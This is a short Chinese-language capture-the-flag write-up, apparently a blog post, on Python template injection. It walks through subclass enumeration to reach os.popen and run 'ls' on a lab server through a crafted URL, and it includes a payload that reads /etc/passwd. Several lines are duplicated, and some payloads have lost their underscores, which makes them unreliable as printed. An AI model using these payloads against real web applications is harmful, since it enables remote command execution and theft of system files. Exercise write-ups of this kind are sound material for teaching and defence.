文章目录
查看当下所有模块
{
{’’.class.mro[2].subclasses()}}
os.popen方法
由于我们想要读取到flag文件里的信息,所以选用 os.popen
首先我们要找到os模块的位置,他是位于<class ‘site._Printer’>里面 ,结果查找在71
通过__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()
来调用服务器的控制台并显示。
我们构造 http://111.198.29.45:55462/%7B%7B’’.class.mro[2].subclasses()[71]
.init.globals[‘os’].popen(‘ls’).read()%7D%7D
关于python魔术方法payload:"".class.mro[2].subclasses()[40]("/etc/passwd").read() 的解释
“”.class.mro[2].subclasses()40.read()
由于我们想要读取到flag文件里的信息,所以选用 os.popen
首先我们要找到os模块的位置,他是位于<class ‘site._Printer’>里面 ,结果查找在71
通过__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()
来调用服务器的控制台并显示。
我们构造 http://111.198.29.45:55462/%7B%7B’’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()%7D%7D